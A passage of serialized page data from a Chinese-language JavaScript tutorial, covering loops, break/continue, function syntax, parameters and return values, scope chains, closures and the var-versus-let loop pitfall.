for：需要下标或跳步时用\n",[331,63884,63885,63887,63890],{"class":333,"line":341},[331,63886,18920],{"class":616},[331,63888,63889],{"class":337}," (条件) { }                            ",[331,63891,63892],{"class":1003},"\u002F\u002F 先判断，可能一次都不执行\n",[331,63894,63895,63898,63901,63903,63906],{"class":333,"line":357},[331,63896,63897],{"class":616},"do",[331,63899,63900],{"class":337}," { } ",[331,63902,18920],{"class":616},[331,63904,63905],{"class":337}," (条件)                        ",[331,63907,63908],{"class":1003},"\u002F\u002F 先执行一遍，再判断\n",[331,63910,63911],{"class":333,"line":371},[331,63912,998],{"emptyLinePlaceholder":997},[331,63914,63915,63917,63919,63921,63924,63927,63930],{"class":333,"line":384},[331,63916,18917],{"class":616},[331,63918,1147],{"class":337},[331,63920,951],{"class":616},[331,63922,63923],{"class":344}," item",[331,63925,63926],{"class":616}," of",[331,63928,63929],{"class":337}," arr) { }                ",[331,63931,63932],{"class":1003},"\u002F\u002F ✓ 遍历数组\u002F字符串\u002FMap\u002FSet 用 for...of，拿值\n",[331,63934,63935,63937,63939,63941,63943,63946,63949],{"class":333,"line":397},[331,63936,18917],{"class":616},[331,63938,1147],{"class":337},[331,63940,951],{"class":616},[331,63942,29297],{"class":344},[331,63944,63945],{"class":616}," in",[331,63947,63948],{"class":337}," obj) { }                 ",[331,63950,63951],{"class":1003},"\u002F\u002F 遍历「键」；对象用 in，数组千万别用（见下）\n",[11,63953,63954,63957,63958,4839,63961,272,63963,63965,63966,63968,63969,6745,63971,322],{},[22,63955,63956],{},"for...in"," 用在数组上会给你",[17,63959,63960],{},"字符串下标",[22,63962,39316],{},[22,63964,39313],{},"）而不是值，还会顺带翻出原型链上的可枚举属性，是教科书级的错误写法。数组和字符串用 ",[22,63967,27395],{},"（或数组方法，第九章展开），普通对象用 ",[22,63970,63956],{},[22,63972,63973],{},"Object.entries()",[308,63975,63977],{"className":942,"code":63976,"language":944,"meta":314,"style":314},"const user = { name: '阿蓝', age: 28 }\nfor (const [key, value] of Object.entries(user)) {\n  console.log(key, value)   \u002F\u002F 'name' '阿蓝' \u002F 'age' 28\n}\n",[22,63978,63979,63998,64027,64039],{"__ignoreMap":314},[331,63980,63981,63983,63985,63987,63989,63991,63993,63996],{"class":333,"line":334},[331,63982,951],{"class":616},[331,63984,13900],{"class":344},[331,63986,957],{"class":616},[331,63988,32312],{"class":337},[331,63990,20599],{"class":365},[331,63992,23135],{"class":337},[331,63994,63995],{"class":344},"28",[331,63997,9413],{"class":337},[331,63999,64000,64002,64004,64006,64008,64010,64012,64014,64016,64018,64021,64024],{"class":333,"line":341},[331,64001,18917],{"class":616},[331,64003,1147],{"class":337},[331,64005,951],{"class":616},[331,64007,1108],{"class":337},[331,64009,8230],{"class":344},[331,64011,409],{"class":337},[331,64013,22924],{"class":344},[331,64015,1114],{"class":337},[331,64017,27388],{"class":616},[331,64019,64020],{"class":337}," Object.",[331,64022,64023],{"class":501},"entries",[331,64025,64026],{"class":337},"(user)) {\n",[331,64028,64029,64031,64033,64036],{"class":333,"line":357},[331,64030,22619],{"class":337},[331,64032,3533],{"class":501},[331,64034,64035],{"class":337},"(key, value)   ",[331,64037,64038],{"class":1003},"\u002F\u002F 'name' '阿蓝' \u002F 'age' 28\n",[331,64040,64041],{"class":333,"line":371},[331,64042,459],{"class":337},[53,64044,64046,5160,64048],{"id":64045},"break-与-continue",[22,64047,63836],{},[22,64049,64050],{},"continue",[1773,64052,64053,64062],{},[1662,64054,64055,64057,64058,64061],{},[22,64056,63836],{},"：立即跳出",[17,64059,64060],{},"整个","循环（找到就收工的场景）；",[1662,64063,64064,64066],{},[22,64065,64050],{},"：跳过本轮剩余部分，直接进入下一轮（过滤场景）。",[308,64068,64070],{"className":942,"code":64069,"language":944,"meta":314,"style":314},"for (let i = 1; i \u003C= 60; i++) {\n  if (i % 3 === 0 && i % 5 === 1) { found = i; break }   \u002F\u002F 找到即停，不空转\n}\nfor (let i = 1; i \u003C= 20; i++) {\n  if (i % 2 !== 0) continue   \u002F\u002F 奇数跳过\n  evens.push(i)\n}\n",[22,64071,64072,64099,64142,64146,64173,64195,64205],{"__ignoreMap":314},[331,64073,64074,64076,64078,64080,64082,64084,64086,64088,64091,64093,64095,64097],{"class":333,"line":334},[331,64075,18917],{"class":616},[331,64077,1147],{"class":337},[331,64079,18926],{"class":616},[331,64081,62616],{"class":337},[331,64083,518],{"class":616},[331,64085,30777],{"class":344},[331,64087,62623],{"class":337},[331,64089,64090],{"class":616},"\u003C=",[331,64092,10600],{"class":344},[331,64094,62630],{"class":337},[331,64096,29231],{"class":616},[331,64098,2476],{"class":337},[331,64100,64101,64103,64106,64108,64110,64112,64114,64117,64119,64121,64123,64125,64127,64130,64132,64135,64137,64139],{"class":333,"line":341},[331,64102,1526],{"class":616},[331,64104,64105],{"class":337}," (i ",[331,64107,715],{"class":616},[331,64109,59421],{"class":344},[331,64111,63191],{"class":616},[331,64113,680],{"class":344},[331,64115,64116],{"class":616}," &&",[331,64118,62616],{"class":337},[331,64120,715],{"class":616},[331,64122,21697],{"class":344},[331,64124,63191],{"class":616},[331,64126,30777],{"class":344},[331,64128,64129],{"class":337},") { found ",[331,64131,518],{"class":616},[331,64133,64134],{"class":337}," i; ",[331,64136,63836],{"class":616},[331,64138,5391],{"class":337},[331,64140,64141],{"class":1003},"\u002F\u002F 找到即停，不空转\n",[331,64143,64144],{"class":333,"line":357},[331,64145,459],{"class":337},[331,64147,64148,64150,64152,64154,64156,64158,64160,64162,64164,64167,64169,64171],{"class":333,"line":371},[331,64149,18917],{"class":616},[331,64151,1147],{"class":337},[331,64153,18926],{"class":616},[331,64155,62616],{"class":337},[331,64157,518],{"class":616},[331,64159,30777],{"class":344},[331,64161,62623],{"class":337},[331,64163,64090],{"class":616},[331,64165,64166],{"class":344}," 20",[331,64168,62630],{"class":337},[331,64170,29231],{"class":616},[331,64172,2476],{"class":337},[331,64174,64175,64177,64179,64181,64183,64186,64188,64190,64192],{"class":333,"line":384},[331,64176,1526],{"class":616},[331,64178,64105],{"class":337},[331,64180,715],{"class":616},[331,64182,18023],{"class":344},[331,64184,64185],{"class":616}," !==",[331,64187,680],{"class":344},[331,64189,3180],{"class":337},[331,64191,64050],{"class":616},[331,64193,64194],{"class":1003},"   \u002F\u002F 奇数跳过\n",[331,64196,64197,64200,64202],{"class":333,"line":397},[331,64198,64199],{"class":337},"  evens.",[331,64201,20810],{"class":501},[331,64203,64204],{"class":337},"(i)\n",[331,64206,64207],{"class":333,"line":418},[331,64208,459],{"class":337},[11,64210,64211,64212,4839,64215,64218,64219,64222,64223,64225],{},"写循环时始终问自己两件事：",[17,64213,64214],{},"终止条件会到达吗",[22,64216,64217],{},"while (true)"," 必须配合 break 或明确的退出分支）；",[17,64220,64221],{},"循环变量在推进吗","（忘记 ",[22,64224,63688],{}," 就是无限循环）。这两类 bug 在浏览器里的表现都是页面直接卡死。",[48,64227,64229],{"id":64228},"六函数参数返回值与作用域","六、函数：参数、返回值与作用域",[11,64231,64232,64233,64235,64236,161],{},"函数是 JS 的基本复用单位：把一段逻辑包起来、给它起个名字、按需调用。HTML 教程里每个示例框能响应点击，背后都是函数在跑。这一章讲清函数的写法、参数与返回值的规则；作用域与 ",[22,64234,18040],{}," 留到第七章，因为那要先消化一个事实：",[17,64237,64238],{},"函数是可以被传来传去的值",[53,64240,64242],{"id":64241},"三种写法与提升","三种写法与「提升」",[308,64244,64246],{"className":942,"code":64245,"language":944,"meta":314,"style":314},"\u002F\u002F ① 函数声明\nfunction double(n) { return n * 2 }\n\n\u002F\u002F ② 函数表达式：把匿名函数存进变量\nconst double = function (n) { return n * 2 }\n\n\u002F\u002F ③ 箭头函数：表达式场景的简写\nconst double = (n) => { return n * 2 }\nconst double = n => n * 2   \u002F\u002F 单参数省括号，单表达式省 {} 和 return\n",[22,64247,64248,64253,64276,64280,64285,64311,64315,64320,64348],{"__ignoreMap":314},[331,64249,64250],{"class":333,"line":334},[331,64251,64252],{"class":1003},"\u002F\u002F ① 函数声明\n",[331,64254,64255,64257,64259,64261,64263,64265,64267,64270,64272,64274],{"class":333,"line":341},[331,64256,3047],{"class":616},[331,64258,18091],{"class":501},[331,64260,966],{"class":337},[331,64262,27399],{"class":2472},[331,64264,31033],{"class":337},[331,64266,10859],{"class":616},[331,64268,64269],{"class":337}," n ",[331,64271,18020],{"class":616},[331,64273,18023],{"class":344},[331,64275,9413],{"class":337},[331,64277,64278],{"class":333,"line":357},[331,64279,998],{"emptyLinePlaceholder":997},[331,64281,64282],{"class":333,"line":371},[331,64283,64284],{"class":1003},"\u002F\u002F ② 函数表达式：把匿名函数存进变量\n",[331,64286,64287,64289,64291,64293,64295,64297,64299,64301,64303,64305,64307,64309],{"class":333,"line":384},[331,64288,951],{"class":616},[331,64290,18091],{"class":501},[331,64292,957],{"class":616},[331,64294,1066],{"class":616},[331,64296,1147],{"class":337},[331,64298,27399],{"class":2472},[331,64300,31033],{"class":337},[331,64302,10859],{"class":616},[331,64304,64269],{"class":337},[331,64306,18020],{"class":616},[331,64308,18023],{"class":344},[331,64310,9413],{"class":337},[331,64312,64313],{"class":333,"line":397},[331,64314,998],{"emptyLinePlaceholder":997},[331,64316,64317],{"class":333,"line":418},[331,64318,64319],{"class":1003},"\u002F\u002F ③ 箭头函数：表达式场景的简写\n",[331,64321,64322,64324,64326,64328,64330,64332,64334,64336,64338,64340,64342,64344,64346],{"class":333,"line":427},[331,64323,951],{"class":616},[331,64325,18091],{"class":501},[331,64327,957],{"class":616},[331,64329,1147],{"class":337},[331,64331,27399],{"class":2472},[331,64333,3180],{"class":337},[331,64335,1489],{"class":616},[331,64337,605],{"class":337},[331,64339,10859],{"class":616},[331,64341,64269],{"class":337},[331,64343,18020],{"class":616},[331,64345,18023],{"class":344},[331,64347,9413],{"class":337},[331,64349,64350,64352,64354,64356,64358,64360,64362,64364,64366],{"class":333,"line":439},[331,64351,951],{"class":616},[331,64353,18091],{"class":501},[331,64355,957],{"class":616},[331,64357,28036],{"class":2472},[331,64359,21594],{"class":616},[331,64361,64269],{"class":337},[331,64363,18020],{"class":616},[331,64365,18023],{"class":344},[331,64367,64368],{"class":1003},"   \u002F\u002F 单参数省括号，单表达式省 {} 和 return\n",[11,64370,64371,64372,64374,64375,64377,64378,64380,64381,161],{},"函数声明有",[17,64373,62363],{},"（hoisting）：整个函数被搬到作用域顶部，声明之前也能调用。函数表达式与箭头函数存进变量，遵守变量自己的规则——",[22,64376,951],{}," 声明的处于 TDZ，先调用直接报 ",[22,64379,62582],{},"。实践中不要依赖提升，",[17,64382,64383],{},"先定义后使用",[4748,64385],{"height":5188,"src":64386,"title":64387},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F06-functions.html","示例 06：函数的三种写法与参数机制",[53,64389,64391],{"id":64390},"参数默认值只在-undefined-时触发","参数：默认值只在 undefined 时触发",[308,64393,64395],{"className":942,"code":64394,"language":944,"meta":314,"style":314},"function greet(name = '游客') { return '你好，' + name }\n\ngreet()            \u002F\u002F '你好，游客' —— 没传参\ngreet(undefined)   \u002F\u002F '你好，游客' —— 传了 undefined\ngreet('')          \u002F\u002F '你好，'     —— 空串是一个「值」，不触发默认\ngreet(null)        \u002F\u002F '你好，null' —— null 也是一个「值」\n",[22,64396,64397,64424,64428,64438,64451,64464],{"__ignoreMap":314},[331,64398,64399,64401,64404,64406,64408,64410,64412,64414,64416,64419,64421],{"class":333,"line":334},[331,64400,3047],{"class":616},[331,64402,64403],{"class":501}," greet",[331,64405,966],{"class":337},[331,64407,1900],{"class":2472},[331,64409,957],{"class":616},[331,64411,63486],{"class":365},[331,64413,31033],{"class":337},[331,64415,10859],{"class":616},[331,64417,64418],{"class":365}," '你好，'",[331,64420,6321],{"class":616},[331,64422,64423],{"class":337}," name }\n",[331,64425,64426],{"class":333,"line":341},[331,64427,998],{"emptyLinePlaceholder":997},[331,64429,64430,64432,64435],{"class":333,"line":357},[331,64431,63606],{"class":501},[331,64433,64434],{"class":337},"()            ",[331,64436,64437],{"class":1003},"\u002F\u002F '你好，游客' —— 没传参\n",[331,64439,64440,64442,64444,64446,64448],{"class":333,"line":371},[331,64441,63606],{"class":501},[331,64443,966],{"class":337},[331,64445,5872],{"class":344},[331,64447,62134],{"class":337},[331,64449,64450],{"class":1003},"\u002F\u002F '你好，游客' —— 传了 undefined\n",[331,64452,64453,64455,64457,64459,64461],{"class":333,"line":384},[331,64454,63606],{"class":501},[331,64456,966],{"class":337},[331,64458,9164],{"class":365},[331,64460,9613],{"class":337},[331,64462,64463],{"class":1003},"\u002F\u002F '你好，'     —— 空串是一个「值」，不触发默认\n",[331,64465,64466,64468,64470,64472,64474],{"class":333,"line":397},[331,64467,63606],{"class":501},[331,64469,966],{"class":337},[331,64471,5858],{"class":344},[331,64473,13842],{"class":337},[331,64475,64476],{"class":1003},"\u002F\u002F '你好，null' —— null 也是一个「值」\n",[11,64478,64479,64480,64482,64483,64488],{},"这条规则与第四章的 ",[22,64481,29379],{}," 完全一致：",[17,64484,20444,64485,64487],{},[22,64486,5872],{}," 代表「没有」。"," 与之配套的两条机制：",[1773,64490,64491,64509],{},[1662,64492,64493,268,64496,64499,64500,272,64502,64504,64505,64508],{},[17,64494,64495],{},"剩余参数",[22,64497,64498],{},"function sum(...nums)","：把所有实参收成一个真数组（能用 ",[22,64501,10198],{},[22,64503,21537],{},"）。旧代码里的 ",[22,64506,64507],{},"arguments"," 是类数组，新代码不要再用了。",[1662,64510,64511,268,64514,64517,64518,64520],{},[17,64512,64513],{},"展开运算符",[22,64515,64516],{},"sum(...[1, 2, 3])","：反过来把数组摊成一个个实参。同一个 ",[22,64519,9211],{},"，放在形参位置是「收集」，放在实参位置是「展开」。",[53,64522,64524],{"id":64523},"返回值没有-return-就是-undefined","返回值：没有 return 就是 undefined",[1773,64526,64527,64537],{},[1662,64528,64529,64530,5652,64532,64534,64535,17306],{},"函数没有 ",[22,64531,10859],{},[22,64533,10859],{}," 后面没有值）→ 返回 ",[22,64536,5872],{},[1662,64538,64539,64541,64542,64545],{},[22,64540,10859],{}," 会",[17,64543,64544],{},"立即结束函数","，后面的代码不再执行——利用这一点写「守卫子句」，把异常情况提前挡掉：",[308,64547,64549],{"className":942,"code":64548,"language":944,"meta":314,"style":314},"function divide(a, b) {\n  if (b === 0) return '除数不能为 0'   \u002F\u002F 守卫：先处理掉不能算的情况\n  return a \u002F b                        \u002F\u002F 主干只有一行\n}\n",[22,64550,64551,64568,64589,64603],{"__ignoreMap":314},[331,64552,64553,64555,64558,64560,64562,64564,64566],{"class":333,"line":334},[331,64554,3047],{"class":616},[331,64556,64557],{"class":501}," divide",[331,64559,966],{"class":337},[331,64561,30],{"class":2472},[331,64563,409],{"class":337},[331,64565,22158],{"class":2472},[331,64567,2476],{"class":337},[331,64569,64570,64572,64575,64577,64579,64581,64583,64586],{"class":333,"line":341},[331,64571,1526],{"class":616},[331,64573,64574],{"class":337}," (b ",[331,64576,2625],{"class":616},[331,64578,680],{"class":344},[331,64580,3180],{"class":337},[331,64582,10859],{"class":616},[331,64584,64585],{"class":365}," '除数不能为 0'",[331,64587,64588],{"class":1003},"   \u002F\u002F 守卫：先处理掉不能算的情况\n",[331,64590,64591,64593,64595,64597,64600],{"class":333,"line":357},[331,64592,1633],{"class":616},[331,64594,31001],{"class":337},[331,64596,655],{"class":616},[331,64598,64599],{"class":337}," b                        ",[331,64601,64602],{"class":1003},"\u002F\u002F 主干只有一行\n",[331,64604,64605],{"class":333,"line":371},[331,64606,459],{"class":337},[1773,64608,64609,64618],{},[1662,64610,64611,64612,64614,64615,161],{},"函数只能返回",[17,64613,30418],{},"值；想返回多个数据就包成对象或数组，调用方解构：",[22,64616,64617],{},"const { total, count } = stats(list)",[1662,64619,64620,64622],{},[22,64621,10859],{}," 关键字后面不要换行——ASI 会在行尾补分号，把「返回值」悄悄变成「返回 undefined」。",[53,64624,64625],{"id":64625},"箭头函数的适用边界",[11,64627,64628],{},"简写谱系（对应示例里的表格）：",[308,64630,64632],{"className":942,"code":64631,"language":944,"meta":314,"style":314},"(a, b) => { return a + b }   \u002F\u002F 完整形式\n(a, b) => a + b              \u002F\u002F 单表达式：{} 与 return 都能省\nn => n * 2                   \u002F\u002F 单参数：括号能省\n() => 42                     \u002F\u002F 无参数：括号不能省\nn => ({ id: n })             \u002F\u002F 想直接返回对象字面量：要包一层括号\n",[22,64633,64634,64662,64686,64701,64713],{"__ignoreMap":314},[331,64635,64636,64638,64640,64642,64644,64646,64648,64650,64652,64654,64656,64659],{"class":333,"line":334},[331,64637,966],{"class":337},[331,64639,30],{"class":2472},[331,64641,409],{"class":337},[331,64643,22158],{"class":2472},[331,64645,3180],{"class":337},[331,64647,1489],{"class":616},[331,64649,605],{"class":337},[331,64651,10859],{"class":616},[331,64653,31001],{"class":337},[331,64655,12714],{"class":616},[331,64657,64658],{"class":337}," b }   ",[331,64660,64661],{"class":1003},"\u002F\u002F 完整形式\n",[331,64663,64664,64666,64668,64670,64672,64674,64676,64678,64680,64683],{"class":333,"line":341},[331,64665,966],{"class":337},[331,64667,30],{"class":2472},[331,64669,409],{"class":337},[331,64671,22158],{"class":2472},[331,64673,3180],{"class":337},[331,64675,1489],{"class":616},[331,64677,31001],{"class":337},[331,64679,12714],{"class":616},[331,64681,64682],{"class":337}," b              ",[331,64684,64685],{"class":1003},"\u002F\u002F 单表达式：{} 与 return 都能省\n",[331,64687,64688,64690,64692,64694,64696,64698],{"class":333,"line":357},[331,64689,27399],{"class":2472},[331,64691,21594],{"class":616},[331,64693,64269],{"class":337},[331,64695,18020],{"class":616},[331,64697,18023],{"class":344},[331,64699,64700],{"class":1003},"                   \u002F\u002F 单参数：括号能省\n",[331,64702,64703,64705,64707,64710],{"class":333,"line":371},[331,64704,23168],{"class":337},[331,64706,1489],{"class":616},[331,64708,64709],{"class":344}," 42",[331,64711,64712],{"class":1003},"                     \u002F\u002F 无参数：括号不能省\n",[331,64714,64715,64717,64719,64722],{"class":333,"line":384},[331,64716,27399],{"class":2472},[331,64718,21594],{"class":616},[331,64720,64721],{"class":337}," ({ id: n })             ",[331,64723,64724],{"class":1003},"\u002F\u002F 想直接返回对象字面量：要包一层括号\n",[11,64726,64727,64728,64731,64732,64737,64738,64741,64742,4813],{},"选择建议：",[17,64729,64730],{},"需要名字、需要复用时用函数声明；作为回调「一行搞定」时用箭头函数","。箭头函数有两条硬限制，都和第七章的内容有关：它",[17,64733,64734,64735],{},"没有自己的 ",[22,64736,18040],{},"（捕获外层的），也",[17,64739,64740],{},"不能当构造函数","（不能 ",[22,64743,35155],{},[53,64745,64747],{"id":64746},"函数是一等公民","函数是「一等公民」",[11,64749,64750,64751,64754,64755,64757],{},"在 JS 里函数就是一种值：能存进变量、放进对象、当参数传、当返回值返回。把函数当参数传给另一个函数（",[17,64752,64753],{},"回调","）是最常见的用法——事件监听、",[22,64756,22220],{},"、数组方法都在用：",[308,64759,64761],{"className":942,"code":64760,"language":944,"meta":314,"style":314},"button.addEventListener('click', () => { … })   \u002F\u002F 点击时由浏览器回调\nsetTimeout(() => { … }, 1000)                     \u002F\u002F 1 秒后回调一次\n[1, 2, 3].map(n => n * 2)                         \u002F\u002F map 对每个元素回调\n",[22,64762,64763,64784,64804],{"__ignoreMap":314},[331,64764,64765,64768,64770,64772,64774,64776,64778,64781],{"class":333,"line":334},[331,64766,64767],{"class":337},"button.",[331,64769,1399],{"class":501},[331,64771,966],{"class":337},[331,64773,1404],{"class":365},[331,64775,8322],{"class":337},[331,64777,1489],{"class":616},[331,64779,64780],{"class":337}," { … })   ",[331,64782,64783],{"class":1003},"\u002F\u002F 点击时由浏览器回调\n",[331,64785,64786,64788,64790,64792,64795,64798,64801],{"class":333,"line":341},[331,64787,22220],{"class":501},[331,64789,1486],{"class":337},[331,64791,1489],{"class":616},[331,64793,64794],{"class":337}," { … }, ",[331,64796,64797],{"class":344},"1000",[331,64799,64800],{"class":337},")                     ",[331,64802,64803],{"class":1003},"\u002F\u002F 1 秒后回调一次\n",[331,64805,64806,64808,64810,64812,64814,64816,64818,64820,64822,64824,64826,64828,64830,64832,64834,64837],{"class":333,"line":357},[331,64807,2487],{"class":337},[331,64809,7993],{"class":344},[331,64811,409],{"class":337},[331,64813,9292],{"class":344},[331,64815,409],{"class":337},[331,64817,351],{"class":344},[331,64819,2498],{"class":337},[331,64821,10198],{"class":501},[331,64823,966],{"class":337},[331,64825,27399],{"class":2472},[331,64827,21594],{"class":616},[331,64829,64269],{"class":337},[331,64831,18020],{"class":616},[331,64833,18023],{"class":344},[331,64835,64836],{"class":337},")                         ",[331,64838,64839],{"class":1003},"\u002F\u002F map 对每个元素回调\n",[11,64841,64842,64843,272,64845,64848,64849,1901,64851,64854,64855,272,64858,64860,64861,64854,64864,4813],{},"命名也对号入座：普通函数用动词开头（",[22,64844,62729],{},[22,64846,64847],{},"formatDate","），判断类用 ",[22,64850,24939],{},[22,64852,64853],{},"has"," 开头（",[22,64856,64857],{},"isEmpty",[22,64859,62750],{},"），事件处理用 ",[22,64862,64863],{},"handle",[22,64865,64866],{},"handleClick",[48,64868,64870],{"id":64869},"七作用域与闭包函数记住它的出生环境","七、作用域与闭包：函数记住它的出生环境",[11,64872,64873,64874,64877],{},"函数不只是「一段代码」，它还会",[17,64875,64876],{},"记住自己被定义时所处的环境","——定义时能访问哪些变量，之后无论被带到哪里调用，这份访问权都不会丢。这条性质叫词法作用域，它衍生的最著名的机制就是闭包。",[53,64879,64881],{"id":64880},"作用域链从里往外找","作用域链：从里往外找",[308,64883,64885],{"className":942,"code":64884,"language":944,"meta":314,"style":314},"const site = '我的博客'          \u002F\u002F ① 全局\n\nfunction outer() {\n  const author = '阿蓝'          \u002F\u002F ② outer 的局部\n\n  function inner() {\n    const title = '第一篇'       \u002F\u002F ③ inner 的局部\n    console.log(title, author, site)   \u002F\u002F 三个都能访问：由内向外逐层找\n  }\n  inner()\n}\n",[22,64886,64887,64902,64906,64915,64930,64934,64942,64956,64968,64972,64979],{"__ignoreMap":314},[331,64888,64889,64891,64894,64896,64899],{"class":333,"line":334},[331,64890,951],{"class":616},[331,64892,64893],{"class":344}," site",[331,64895,957],{"class":616},[331,64897,64898],{"class":365}," '我的博客'",[331,64900,64901],{"class":1003},"          \u002F\u002F ① 全局\n",[331,64903,64904],{"class":333,"line":341},[331,64905,998],{"emptyLinePlaceholder":997},[331,64907,64908,64910,64913],{"class":333,"line":357},[331,64909,3047],{"class":616},[331,64911,64912],{"class":501}," outer",[331,64914,1072],{"class":337},[331,64916,64917,64919,64922,64924,64927],{"class":333,"line":371},[331,64918,1496],{"class":616},[331,64920,64921],{"class":344}," author",[331,64923,957],{"class":616},[331,64925,64926],{"class":365}," '阿蓝'",[331,64928,64929],{"class":1003},"          \u002F\u002F ② outer 的局部\n",[331,64931,64932],{"class":333,"line":384},[331,64933,998],{"emptyLinePlaceholder":997},[331,64935,64936,64938,64940],{"class":333,"line":397},[331,64937,13854],{"class":616},[331,64939,30289],{"class":501},[331,64941,1072],{"class":337},[331,64943,64944,64946,64948,64950,64953],{"class":333,"line":418},[331,64945,1105],{"class":616},[331,64947,24734],{"class":344},[331,64949,957],{"class":616},[331,64951,64952],{"class":365}," '第一篇'",[331,64954,64955],{"class":1003},"       \u002F\u002F ③ inner 的局部\n",[331,64957,64958,64960,64962,64965],{"class":333,"line":427},[331,64959,3530],{"class":337},[331,64961,3533],{"class":501},[331,64963,64964],{"class":337},"(title, author, site)   ",[331,64966,64967],{"class":1003},"\u002F\u002F 三个都能访问：由内向外逐层找\n",[331,64969,64970],{"class":333,"line":439},[331,64971,453],{"class":337},[331,64973,64974,64977],{"class":333,"line":450},[331,64975,64976],{"class":501},"  inner",[331,64978,1540],{"class":337},[331,64980,64981],{"class":333,"line":456},[331,64982,459],{"class":337},[11,64984,64985,64986,64989,64990,64992,64993,64996,64997,1677,65000,65002],{},"变量查找永远遵循「",[17,64987,64988],{},"由内向外","」：先在本地找，找不到去外层，再到全局，都没有就 ",[22,64991,62582],{},"。反方向不行——",[22,64994,64995],{},"outer"," 里访问不到 ",[22,64998,64999],{},"inner",[22,65001,581],{},"。函数每嵌套一层，就在作用域链上串一环。",[53,65004,65006],{"id":65005},"闭包内层函数带走了外层的变量","闭包：内层函数「带走」了外层的变量",[308,65008,65010],{"className":942,"code":65009,"language":944,"meta":314,"style":314},"function createCounter() {\n  let count = 0              \u002F\u002F 外层局部变量\n  return function () {\n    count += 1               \u002F\u002F 内层函数在用它\n    return count\n  }\n}\n\nconst next = createCounter()\nnext()   \u002F\u002F 1\nnext()   \u002F\u002F 2 —— count 没有在两次调用间重置\n",[22,65011,65012,65021,65034,65043,65055,65062,65066,65070,65074,65087,65097],{"__ignoreMap":314},[331,65013,65014,65016,65019],{"class":333,"line":334},[331,65015,3047],{"class":616},[331,65017,65018],{"class":501}," createCounter",[331,65020,1072],{"class":337},[331,65022,65023,65025,65027,65029,65031],{"class":333,"line":341},[331,65024,29344],{"class":616},[331,65026,62397],{"class":337},[331,65028,518],{"class":616},[331,65030,680],{"class":344},[331,65032,65033],{"class":1003},"              \u002F\u002F 外层局部变量\n",[331,65035,65036,65038,65040],{"class":333,"line":357},[331,65037,1633],{"class":616},[331,65039,1066],{"class":616},[331,65041,65042],{"class":337}," () {\n",[331,65044,65045,65048,65050,65052],{"class":333,"line":371},[331,65046,65047],{"class":337},"    count ",[331,65049,25647],{"class":616},[331,65051,30777],{"class":344},[331,65053,65054],{"class":1003},"               \u002F\u002F 内层函数在用它\n",[331,65056,65057,65059],{"class":333,"line":384},[331,65058,1545],{"class":616},[331,65060,65061],{"class":337}," count\n",[331,65063,65064],{"class":333,"line":397},[331,65065,453],{"class":337},[331,65067,65068],{"class":333,"line":418},[331,65069,459],{"class":337},[331,65071,65072],{"class":333,"line":427},[331,65073,998],{"emptyLinePlaceholder":997},[331,65075,65076,65078,65081,65083,65085],{"class":333,"line":439},[331,65077,951],{"class":616},[331,65079,65080],{"class":344}," next",[331,65082,957],{"class":616},[331,65084,65018],{"class":501},[331,65086,1540],{"class":337},[331,65088,65089,65092,65094],{"class":333,"line":450},[331,65090,65091],{"class":501},"next",[331,65093,32115],{"class":337},[331,65095,65096],{"class":1003},"\u002F\u002F 1\n",[331,65098,65099,65101,65103],{"class":333,"line":456},[331,65100,65091],{"class":501},[331,65102,32115],{"class":337},[331,65104,65105],{"class":1003},"\u002F\u002F 2 —— count 没有在两次调用间重置\n",[11,65107,65108,65111,65112,65114,65115,65118,65119,161],{},[22,65109,65110],{},"createCounter"," 执行完毕后，按直觉它的局部变量该被回收；但因为返回出去的内层函数仍然引用着 ",[22,65113,25866],{},"，JS 让这个变量",[17,65116,65117],{},"继续存活","。这就是闭包的定义式描述：",[17,65120,65121],{},"闭包 = 函数 + 它定义时所在的环境",[11,65123,65124],{},"闭包的三个典型用途：",[1659,65126,65127,65139,65148],{},[1662,65128,65129,65132,65133,65135,65136,65138],{},[17,65130,65131],{},"私有状态","：上面的 ",[22,65134,25866],{}," 外部无法直接读写，只能通过 ",[22,65137,32470],{}," 推进——模块封装的最小版本；",[1662,65140,65141,322,65144,65147],{},[17,65142,65143],{},"状态工厂",[22,65145,65146],{},"createCounter()"," 每次调用生成一个独立计数器，互不干扰；",[1662,65149,65150,322,65153,65156,65157,65160],{},[17,65151,65152],{},"一次性 \u002F 记忆化",[22,65154,65155],{},"once(fn)"," 让函数只生效第一次；",[22,65158,65159],{},"memoize(fn)"," 缓存计算结果。",[4748,65162],{"height":5188,"src":65163,"title":65164},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F07-closure.html","示例 07：闭包的三个用途与经典陷阱",[53,65166,65168],{"id":65167},"经典陷阱var-循环与-let-循环","经典陷阱：var 循环与 let 循环",[11,65170,65171,65172,23629,65174,65176],{},"第二章提过 ",[22,65173,18926],{},[22,65175,18917],{}," 循环里「每次迭代一个新绑定」，现在能说清它救的是什么场了：",[308,65178,65180],{"className":942,"code":65179,"language":944,"meta":314,"style":314},"for (var i = 0; i \u003C 3; i++) {\n  setTimeout(() => console.log(i), 0)   \u002F\u002F 3 3 3 —— 三段代码共享同一个 i\n}\n\nfor (let j = 0; j \u003C 3; j++) {\n  setTimeout(() => console.log(j), 0)   \u002F\u002F 0 1 2 —— 每轮 j 是独立绑定\n}\n",[22,65181,65182,65208,65231,65235,65239,65265,65287],{"__ignoreMap":314},[331,65183,65184,65186,65188,65190,65192,65194,65196,65198,65200,65202,65204,65206],{"class":333,"line":334},[331,65185,18917],{"class":616},[331,65187,1147],{"class":337},[331,65189,18923],{"class":616},[331,65191,62616],{"class":337},[331,65193,518],{"class":616},[331,65195,680],{"class":344},[331,65197,62623],{"class":337},[331,65199,510],{"class":616},[331,65201,59421],{"class":344},[331,65203,62630],{"class":337},[331,65205,29231],{"class":616},[331,65207,2476],{"class":337},[331,65209,65210,65213,65215,65217,65219,65221,65224,65226,65228],{"class":333,"line":341},[331,65211,65212],{"class":501},"  setTimeout",[331,65214,1486],{"class":337},[331,65216,1489],{"class":616},[331,65218,18119],{"class":337},[331,65220,3533],{"class":501},[331,65222,65223],{"class":337},"(i), ",[331,65225,628],{"class":344},[331,65227,62134],{"class":337},[331,65229,65230],{"class":1003},"\u002F\u002F 3 3 3 —— 三段代码共享同一个 